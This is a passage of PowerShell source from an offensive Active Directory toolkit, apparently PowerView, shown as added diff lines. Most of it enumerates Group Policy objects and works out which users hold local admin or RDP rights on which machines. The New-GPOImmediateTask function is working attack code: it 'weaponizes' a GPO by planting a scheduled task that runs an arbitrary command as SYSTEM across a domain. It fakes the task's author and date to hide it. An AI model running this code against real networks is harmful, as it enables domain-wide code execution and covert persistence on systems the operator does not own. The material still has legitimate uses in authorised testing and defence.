an ADS path to enumerate all GPOs for the computer + $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_ -PageSize $PageSize + $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" + + try { + $Results = $GPOSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Out = Convert-LDAPProperty -Properties $_.Properties + $Out | Add-Member Noteproperty 'ComputerName' $ComputerName + $Out + } + $Results.dispose() + $GPOSearcher.dispose() + } + catch { + Write-Warning $_ + } + } + } + + else { + if($DisplayName) { + $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))" + } + else { + $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" + } + + try { + $Results = $GPOSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + if($ADSPath -and ($ADSpath -Match '^GC://')) { + $Properties = Convert-LDAPProperty -Properties $_.Properties + try { + $GPODN = $Properties.distinguishedname + $GPODomain = $GPODN.subString($GPODN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + $gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($Properties.cn)" + $Properties | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath + $Properties + } + catch { + $Properties + } + } + else { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + } + $Results.dispose() + $GPOSearcher.dispose() + } + catch { + Write-Warning $_ + } + } + } + } +} + + +function New-GPOImmediateTask { +<# + .SYNOPSIS + + Builds an 'Immediate' schtask to push out through a specified GPO. + + .PARAMETER TaskName + + Name for the schtask to recreate. Required. + + .PARAMETER Command + + The command to execute with the task, defaults to 'powershell' + + .PARAMETER CommandArguments + + The arguments to supply to the -Command being launched. + + .PARAMETER TaskDescription + + An optional description for the task. + + .PARAMETER TaskAuthor + + The displayed author of the task, defaults to ''NT AUTHORITY\System' + + .PARAMETER TaskModifiedDate + + The displayed modified date for the task, defaults to 30 days ago. + + .PARAMETER GPOname + + The GPO name to build the task for. + + .PARAMETER GPODisplayName + + The GPO display name to build the task for. + + .PARAMETER Domain + + The domain to query for the GPOs, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through + e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target. + + .EXAMPLE + + PS> New-GPOImmediateTask -TaskName Debugging -GPODisplayName SecurePolicy -CommandArguments '-c "123 | Out-File C:\Temp\debug.txt"' -Force + + Create an immediate schtask that executes the specified PowerShell arguments and + push it out to the 'SecurePolicy' GPO, skipping the confirmation prompt. + + .EXAMPLE + + PS> New-GPOImmediateTask -GPODisplayName SecurePolicy -Remove -Force + + Remove all schtasks from the 'SecurePolicy' GPO, skipping the confirmation prompt. +#> + [CmdletBinding(DefaultParameterSetName = 'Create')] + Param ( + [Parameter(ParameterSetName = 'Create', Mandatory = $True)] + [String] + [ValidateNotNullOrEmpty()] + $TaskName, + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $Command = 'powershell', + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $CommandArguments, + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $TaskDescription = '', + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $TaskAuthor = 'NT AUTHORITY\System', + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $TaskModifiedDate = (Get-Date (Get-Date).AddDays(-30) -Format u).trim("Z"), + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [String] + $GPOname, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [String] + $GPODisplayName, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [String] + $Domain, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [String] + $DomainController, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [String] + $ADSpath, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [Switch] + $Force, + + [Parameter(ParameterSetName = 'Remove')] + [Switch] + $Remove, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [Management.Automation.PSCredential] + $Credential + ) + + # build the XML spec for our 'immediate' scheduled task + $TaskXML = ''+$TaskAuthor+''+$TaskDescription+'NT AUTHORITY\SystemHighestAvailableS4UPT10MPT1HtruefalseIgnoreNewfalsetruefalsetruefalsetruetruePT0S7PT0SPT15M3'+$Command+''+$CommandArguments+'%LocalTimeXmlEx%%LocalTimeXmlEx%true' + + if (!$PSBoundParameters['GPOname'] -and !$PSBoundParameters['GPODisplayName']) { + Write-Warning 'Either -GPOName or -GPODisplayName must be specified' + return + } + + # eunmerate the specified GPO(s) + $GPOs = Get-NetGPO -GPOname $GPOname -DisplayName $GPODisplayName -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -Credential $Credential + + if(!$GPOs) { + Write-Warning 'No GPO found.' + return + } + + $GPOs | ForEach-Object { + $ProcessedGPOName = $_.Name + try { + Write-Verbose "Trying to weaponize GPO: $ProcessedGPOName" + + # map a network drive as New-PSDrive/New-Item/etc. don't accept -Credential properly :( + if($Credential) { + Write-Verbose "Mapping '$($_.gpcfilesyspath)' to network drive N:\" + $Path = $_.gpcfilesyspath.TrimEnd('\') + $Net = New-Object -ComObject WScript.Network + $Net.MapNetworkDrive("N:", $Path, $False, $Credential.UserName, $Credential.GetNetworkCredential().Password) + $TaskPath = "N:\Machine\Preferences\ScheduledTasks\" + } + else { + $TaskPath = $_.gpcfilesyspath + "\Machine\Preferences\ScheduledTasks\" + } + + if($Remove) { + if(!(Test-Path "$TaskPath\ScheduledTasks.xml")) { + Throw "Scheduled task doesn't exist at $TaskPath\ScheduledTasks.xml" + } + + if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Removing schtask at $TaskPath\ScheduledTasks.xml")) { + return + } + + Remove-Item -Path "$TaskPath\ScheduledTasks.xml" -Force + } + else { + if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Creating schtask at $TaskPath\ScheduledTasks.xml")) { + return + } + + # create the folder if it doesn't exist + $Null = New-Item -ItemType Directory -Force -Path $TaskPath + + if(Test-Path "$TaskPath\ScheduledTasks.xml") { + Throw "Scheduled task already exists at $TaskPath\ScheduledTasks.xml !" + } + + $TaskXML | Set-Content -Encoding ASCII -Path "$TaskPath\ScheduledTasks.xml" + } + + if($Credential) { + Write-Verbose "Removing mounted drive at N:\" + $Net = New-Object -ComObject WScript.Network + $Net.RemoveNetworkDrive("N:") + } + } + catch { + Write-Warning "Error for GPO $ProcessedGPOName : $_" + if($Credential) { + Write-Verbose "Removing mounted drive at N:\" + $Net = New-Object -ComObject WScript.Network + $Net.RemoveNetworkDrive("N:") + } + } + } +} + + +function Get-NetGPOGroup { +<# + .SYNOPSIS + + Returns all GPOs in a domain that set "Restricted Groups" or use groups.xml on on target machines. + + Author: @harmj0y + License: BSD 3-Clause + Required Dependencies: Get-NetGPO, Get-GptTmpl, Get-GroupsXML, Convert-NameToSid, Convert-SidToName + Optional Dependencies: None + + .DESCRIPTION + + First enumerates all GPOs in the current/target domain using Get-NetGPO with passed + arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or + group membership is set through Group Policy Preferences groups.xml files. For any + GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership' + section data is processed if present. Any found Groups.xml files are parsed with + Get-GroupsXML and those memberships are returned as well. + + .PARAMETER GPOname + + The GPO name to query for, wildcards accepted. + + .PARAMETER DisplayName + + The GPO display name to query for, wildcards accepted. + + .PARAMETER Domain + + The domain to query for GPOs, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through for GPOs. + e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" + + .PARAMETER ResolveMemberSIDs + + Switch. Try to resolve the SIDs of all found group members. + + .PARAMETER UsePSDrive + + Switch. Mount any found policy files with temporary PSDrives. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-NetGPOGroup + + Returns all local groups set by GPO along with their members and memberof. + + .LINK + + https://morgansimonsenblog.azurewebsites.net/tag/groups/ +#> + + [CmdletBinding()] + Param ( + [String] + $GPOname = '*', + + [String] + $DisplayName, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [Switch] + $ResolveMemberSIDs, + + [Switch] + $UsePSDrive, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + $Option = [System.StringSplitOptions]::RemoveEmptyEntries + + # get every GPO from the specified domain with restricted groups set + Get-NetGPO -GPOName $GPOname -DisplayName $GPOname -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | ForEach-Object { + + $GPOdisplayName = $_.displayname + $GPOname = $_.name + $GPOPath = $_.gpcfilesyspath + + $ParseArgs = @{ + 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + 'UsePSDrive' = $UsePSDrive + } + + # parse the GptTmpl.inf 'Restricted Groups' file if it exists + $Inf = Get-GptTmpl @ParseArgs + + if($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) { + + $Memberships = @{} + + # group the members/memberof fields for each entry + ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) { + $Group, $Relation = $Membership.Key.Split('__', $Option) | ForEach-Object {$_.Trim()} + + # extract out ALL members + $MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_} + + if($ResolveMemberSIDs) { + # if the resulting member is username and not a SID, attempt to resolve it + $GroupMembers = @() + ForEach($Member in $MembershipValue) { + if($Member -and ($Member.Trim() -ne '')) { + if($Member -notmatch '^S-1-.*') { + $MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID + if($MemberSID) { + $GroupMembers += $MemberSID + } + else { + $GroupMembers += $Member + } + } + else { + $GroupMembers += $Member + } + } + } + $MembershipValue = $GroupMembers + } + + if(-not $Memberships[$Group]) { + $Memberships[$Group] = @{} + } + if($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)} + $Memberships[$Group].Add($Relation, $MembershipValue) + } + + ForEach ($Membership in $Memberships.GetEnumerator()) { + if($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) { + # if the SID is already resolved (i.e. begins with *) try to resolve SID to a name + $GroupSID = $Membership.Key.Trim('*') + if($GroupSID -and ($GroupSID.Trim() -ne '')) { + $GroupName = Convert-SidToName -SID $GroupSID + } + else { + $GroupName = $False + } + } + else { + $GroupName = $Membership.Key + + if($GroupName -and ($GroupName.Trim() -ne '')) { + if($Groupname -match 'Administrators') { + $GroupSID = 'S-1-5-32-544' + } + elseif($Groupname -match 'Remote Desktop') { + $GroupSID = 'S-1-5-32-555' + } + elseif($Groupname -match 'Guests') { + $GroupSID = 'S-1-5-32-546' + } + elseif($GroupName.Trim() -ne '') { + $GroupSID = Convert-NameToSid -Domain $Domain -ObjectName $Groupname | Select-Object -ExpandProperty SID + } + else { + $GroupSID = $Null + } + } + } + + $GPOGroup = New-Object PSObject + $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName + $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName + $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath + $GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups' + $GPOGroup | Add-Member Noteproperty 'Filters' $Null + $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName + $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID + $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof + $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members + $GPOGroup + } + } + + $ParseArgs = @{ + 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml" + 'UsePSDrive' = $UsePSDrive + } + + Get-GroupsXML @ParseArgs | ForEach-Object { + if($ResolveMemberSIDs) { + $GroupMembers = @() + ForEach($Member in $_.GroupMembers) { + if($Member -and ($Member.Trim() -ne '')) { + if($Member -notmatch '^S-1-.*') { + # if the resulting member is username and not a SID, attempt to resolve it + $MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID + if($MemberSID) { + $GroupMembers += $MemberSID + } + else { + $GroupMembers += $Member + } + } + else { + $GroupMembers += $Member + } + } + } + $_.GroupMembers = $GroupMembers + } + + $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName + $_ | Add-Member Noteproperty 'GPOName' $GPOName + $_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences' + $_ + } + } +} + + +function Find-GPOLocation { +<# + .SYNOPSIS + + Enumerates the machines where a specific user/group is a member of a specific + local group, all through GPO correlation. + + Author: @harmj0y + License: BSD 3-Clause + Required Dependencies: Get-NetUser, Get-NetGroup, Get-NetGPOGroup, Get-NetOU, Get-NetComputer, Get-ADObject, Get-NetSite + Optional Dependencies: None + + .DESCRIPTION + + Takes a user/group name and optional domain, and determines the computers in the domain + the user/group has local admin (or RDP) rights to. + + It does this by: + 1. resolving the user/group to its proper SID + 2. enumerating all groups the user/group is a current part of + and extracting all target SIDs to build a target SID list + 3. pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling + Get-NetGPOGroup + 4. matching the target SID list to the queried GPO SID list + to enumerate all GPO the user is effectively applied with + 5. enumerating all OUs and sites and applicable GPO GUIs are + applied to through gplink enumerating + 6. querying for all computers under the given OUs or sites + + If no user/group is specified, all user/group -> machine mappings discovered through + GPO relationships are returned. + + .PARAMETER UserName + + A (single) user name name to query for access. + + .PARAMETER GroupName + + A (single) group name name to query for access. + + .PARAMETER Domain + + Optional domain the user exists in for querying, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER LocalGroup + + The local group to check access against. + Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), + or a custom local SID. Defaults to local 'Administrators'. + + .PARAMETER UsePSDrive + + Switch. Mount any found policy files with temporary PSDrives. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Find-GPOLocation + + Find all user/group -> machine relationships where the user/group is a member + of the local administrators group on target machines. + + .EXAMPLE + + PS C:\> Find-GPOLocation -UserName dfm + + Find all computers that dfm user has local administrator rights to in + the current domain. + + .EXAMPLE + + PS C:\> Find-GPOLocation -UserName dfm -Domain dev.testlab.local + + Find all computers that dfm user has local administrator rights to in + the dev.testlab.local domain. + + .EXAMPLE + + PS C:\> Find-GPOLocation -UserName jason -LocalGroup RDP + + Find all computers that jason has local RDP access rights to in the domain. +#> + + [CmdletBinding()] + Param ( + [String] + $UserName, + + [String] + $GroupName, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $LocalGroup = 'Administrators', + + [Switch] + $UsePSDrive, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + if($UserName) { + # if a group name is specified, get that user object so we can extract the target SID + $User = Get-NetUser -UserName $UserName -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Select-Object -First 1 + $UserSid = $User.objectsid + + if(-not $UserSid) { + Throw "User '$UserName' not found!" + } + + $TargetSIDs = @($UserSid) + $ObjectSamAccountName = $User.samaccountname + $TargetObject = $UserSid + } + elseif($GroupName) { + # if a group name is specified, get that group object so we can extract the target SID + $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Select-Object -First 1 + $GroupSid = $Group.objectsid + + if(-not $GroupSid) { + Throw "Group '$GroupName' not found!" + } + + $TargetSIDs = @($GroupSid) + $ObjectSamAccountName = $Group.samaccountname + $TargetObject = $GroupSid + } + else { + $TargetSIDs = @('*') + } + + # figure out what the SID is of the target local group we're checking for membership in + if($LocalGroup -like "*Admin*") { + $TargetLocalSID = 'S-1-5-32-544' + } + elseif ( ($LocalGroup -like "*RDP*") -or ($LocalGroup -like "*Remote*") ) { + $TargetLocalSID = 'S-1-5-32-555' + } + elseif ($LocalGroup -like "S-1-5-*") { + $TargetLocalSID = $LocalGroup + } + else { + throw "LocalGroup must be 'Administrators', 'RDP', or a 'S-1-5-X' SID format." + } + + # if we're not listing all relationships, use the tokenGroups approach from Get-NetGroup to + # get all effective security SIDs this object is a part of + if($TargetSIDs[0] -and ($TargetSIDs[0] -ne '*')) { + $TargetSIDs += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids + } + + if(-not $TargetSIDs) { + throw "No effective target SIDs!" + } + + Write-Verbose "TargetLocalSID: $TargetLocalSID" + Write-Verbose "Effective target SIDs: $TargetSIDs" + + $GPOGroupArgs = @{ + 'Domain' = $Domain + 'DomainController' = $DomainController + 'UsePSDrive' = $UsePSDrive + 'ResolveMemberSIDs' = $True + 'PageSize' = $PageSize + } + + # enumerate all GPO group mappings for the target domain + $GPOgroups = Get-NetGPOGroup @GPOGroupArgs | ForEach-Object { + + $GPOgroup = $_ + + # if the locally set group is what we're looking for or the locally set group is a + # member of what we're looking for, check the GroupMembers for our target SID + if( ($GPOgroup.GroupSID -match $TargetLocalSID) -or ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) { + $GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object { + if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) { + $GPOgroup + } + } + } + } | Sort-Object -Property GPOName -Unique + + $GPOgroups | ForEach-Object { + + $GPOname = $_.GPODisplayName + $GPOguid = $_.GPOName + $GPOPath = $_.GPOPath + $GPOType = $_.GPOType + $GPOMembers = $_.GroupMembers + $Filters = $_.Filters + + if(-not $TargetObject) { + # if the * wildcard was used, set the ObjectDistName as the GPO member SID set + # so all relationship mappings are output + $TargetObjectSIDs = $GPOMembers + } + else { + $TargetObjectSIDs = $TargetObject + } + + # find any OUs that have this GUID applied and then retrieve any computers from the OU + Get-NetOU -Domain $Domain -DomainController $DomainController -GUID $GPOguid -FullData -PageSize $PageSize | ForEach-Object { + if($Filters) { + # filter for computer name/org unit if a filter is specified + # TODO: handle other filters (i.e. OU filters?) again, I hate you GPP... + $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -FullData -PageSize $PageSize | Where-Object { + $_.adspath -match ($Filters.Value) + } | ForEach-Object { $_.dnshostname } + } + else { + $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize + } + + if($OUComputers) { + if($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)} + + ForEach ($TargetSid in $TargetObjectSIDs) { + $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize + + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + + $GPOLocation = New-Object PSObject + $GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $GPOLocation | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOLocation | Add-Member Noteproperty 'ObjectSID' $Object.objectsid + $GPOLocation | Add-Member Noteproperty 'Domain' $Domain + $GPOLocation | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOLocation | Add-Member Noteproperty 'GPODisplayName' $GPOname + $GPOLocation | Add-Member Noteproperty 'GPOGuid' $GPOGuid + $GPOLocation | Add-Member Noteproperty 'GPOPath' $GPOPath + $GPOLocation | Add-Member Noteproperty 'GPOType' $GPOType + $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + $GPOLocation | Add-Member Noteproperty 'ComputerName' $OUComputers + $GPOLocation.PSObject.TypeNames.Add('PowerView.GPOLocalGroup') + $GPOLocation + } + } + } + + # # find any sites that have this GUID applied + # # TODO: wait to implement this into BloodHound... + # Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | ForEach-Object { + + # ForEach ($TargetSid in $TargetObjectSIDs) { + # $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize + + # $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + + # $AppliedSite = New-Object PSObject + # $AppliedSite | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + # $AppliedSite | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + # $AppliedSite | Add-Member Noteproperty 'ObjectSID' $Object.objectsid + # $AppliedSite | Add-Member Noteproperty 'IsGroup' $IsGroup + # $AppliedSite | Add-Member Noteproperty 'Domain' $Domain + # $AppliedSite | Add-Member Noteproperty 'GPODisplayName' $GPOname + # $AppliedSite | Add-Member Noteproperty 'GPOGuid' $GPOGuid + # $AppliedSite | Add-Member Noteproperty 'GPOPath' $GPOPath + # $AppliedSite | Add-Member Noteproperty 'GPOType' $GPOType + # $AppliedSite | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + # $AppliedSite | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl + # $AppliedSite.PSObject.TypeNames.Add('PowerView.GPOLocalGroup') + # $AppliedSite + # } + # } + } +} + + +function Find-GPOComputerAdmin { +<# + .SYNOPSIS + + Takes a computer (or GPO) object and determines what users/groups are in the specified + local group for the machine. + + Author: @harmj0y + License: BSD 3-Clause + Required Dependencies: Get-NetComputer, Get-SiteName, Get-NetSite, Get-NetGPOGroup, Get-ADObject, Get-NetGroupMember, Convert-SidToName + Optional Dependencies: None + + .DESCRIPTION + + If a -ComputerName is specified, retrieve the complete computer object, attempt to + determine the OU the computer is a part of. Then resolve the computer's site name with + Get-SiteName and retrieve all sites object Get-NetSite. For those results, attempt to + enumerate all linked GPOs and associated local group settings with Get-NetGPOGroup. For + each resulting GPO group, resolve the resulting user/group name to a full AD object and + return the results. This will return the domain objects that are members of the specified + -LocalGroup for the given computer. + + Inverse of Find-GPOLocation. + + .PARAMETER ComputerName + + The computer to determine local administrative access to. + + .PARAMETER OUName + + OU name to determine who has local adminisrtative acess to computers + within it. + + .PARAMETER Domain + + Optional domain the computer/OU exists in, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER Recurse + + Switch. If a returned member is a group, recurse and get all members. + + .PARAMETER LocalGroup + + The local group to check access against. + Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), + or a custom local SID. + Defaults to local 'Administrators'. + + .PARAMETER UsePSDrive + + Switch. Mount any found policy files with temporary PSDrives. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Find-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local + + Finds users who have local admin rights over WINDOWS3 through GPO correlation. + + .EXAMPLE + + PS C:\> Find-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local -LocalGroup RDP + + Finds users who have RDP rights over WINDOWS3 through GPO correlation. +#> + + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $ComputerName, + + [String] + $OUName, + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $Recurse, + + [String] + $LocalGroup = 'Administrators', + + [Switch] + $UsePSDrive, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + process { + + if(!$ComputerName -and !$OUName) { + Throw "-ComputerName or -OUName must be provided" + } + + $GPOGroups = @() + + if($ComputerName) { + $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize + + if(!$Computers) { + throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name" + } + + $TargetOUs = @() + ForEach($Computer in $Computers) { + # extract all OUs a computer is a part of + $DN = $Computer.distinguishedname + + $TargetOUs += $DN.split(",") | ForEach-Object { + if($_.startswith("OU=")) { + $DN.substring($DN.indexof($_)) + } + } + } + + # enumerate any linked GPOs for the computer's site + $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName + if($ComputerSite -and ($ComputerSite -notlike 'Error*')) { + $GPOGroups += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object { + if($_.gplink) { + $_.gplink.split("][") | ForEach-Object { + if ($_.startswith("LDAP")) { + $_.split(";")[0] + } + } + } + } | ForEach-Object { + $GPOGroupArgs = @{ + 'Domain' = $Domain + 'DomainController' = $DomainController + 'ResolveMemberSIDs' = $True + 'UsePSDrive' = $UsePSDrive + 'PageSize' = $PageSize + } + + # for each GPO link, get any locally set user/group SIDs + Get-NetGPOGroup @GPOGroupArgs + } + } + } + else { + $TargetOUs = @($OUName) + } + + Write-Verbose "Target OUs: $TargetOUs" + + $TargetOUs | Where-Object {$_} | ForEach-Object { + + # for each OU the computer is a part of, get the full OU object + $GPOgroups += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | ForEach-Object { + # and then get any GPO links + if($_.gplink) { + $_.gplink.split("][") | ForEach-Object { + if ($_.startswith("LDAP")) { + $_.split(";")[0] + } + } + } + } | ForEach-Object { + $GPOGroupArgs = @{ + 'Domain' = $Domain + 'DomainController' = $DomainController + 'UsePSDrive' = $UsePSDrive + 'ResolveMemberSIDs' = $True + 'PageSize' = $PageSize + } + # for each GPO link, get any locally set user/group SIDs + Get-NetGPOGroup @GPOGroupArgs + } + } + + # for each found GPO group, resolve the SIDs of the members + $GPOgroups | Sort-Object -Property GPOName -Unique | ForEach-Object { + $GPOGroup = $_ + + $GPOGroup.GroupMembers | ForEach-Object { + + # resolve this SID to a domain object + $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $_ + + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + + $GPOComputerAdmin = New-Object PSObject + $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_ + $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName + $GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName + $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath + $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOType.GPOType + $GPOComputerAdmin + + # if we're recursing and the current result object is a group + if($Recurse -and $GPOComputerAdmin.isGroup) { + + Get-NetGroupMember -Domain $Domain -DomainController $DomainController -SID $_ -FullData -Recurse -PageSize $PageSize | ForEach-Object { + + $MemberDN = $_.distinguishedName + + # extract the FQDN from the Distinguished Name + $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + + $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype + + if ($_.samAccountName) { + # forest users have the samAccountName set + $MemberName = $_.samAccountName + } + else { + # external trust users have a SID, so convert it + try { + $MemberName = Convert-SidToName $_.cn + } + catch { + # if there's a problem contacting the domain to resolve the SID + $MemberName = $_.cn + } + } + + $GPOComputerAdmin = New-Object PSObject + $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid + $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGrou + $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName + $GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName + $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath + $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOTypep + $GPOComputerAdmin + } + } + } + } + } +} + + +function Get-DomainPolicy { +<# + .SYNOPSIS + + Returns the default domain or DC policy for a given + domain or domain controller. + + Thanks Sean Metacalf (@pyrotek3) for the idea and guidance. + + .PARAMETER Source + + Extract Domain or DC (domain controller) policies. + + .PARAMETER Domain + + The domain to query for default policies, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ResolveSids + + Switch. Resolve Sids from a DC policy to object names. + + .PARAMETER UsePSDrive + + Switch. Mount any found policy files with temporary PSDrives. + + .EXAMPLE + + PS C:\> Get-DomainPolicy + + Returns the domain policy for the current domain. + + .EXAMPLE + + PS C:\> Get-DomainPolicy -Source DC -DomainController MASTER.testlab.local + + Returns the policy for the MASTER.testlab.local domain controller. +#> + + [CmdletBinding()] + Param ( + [String] + [ValidateSet("Domain","DC")] + $Source ="Domain", + + [String] + 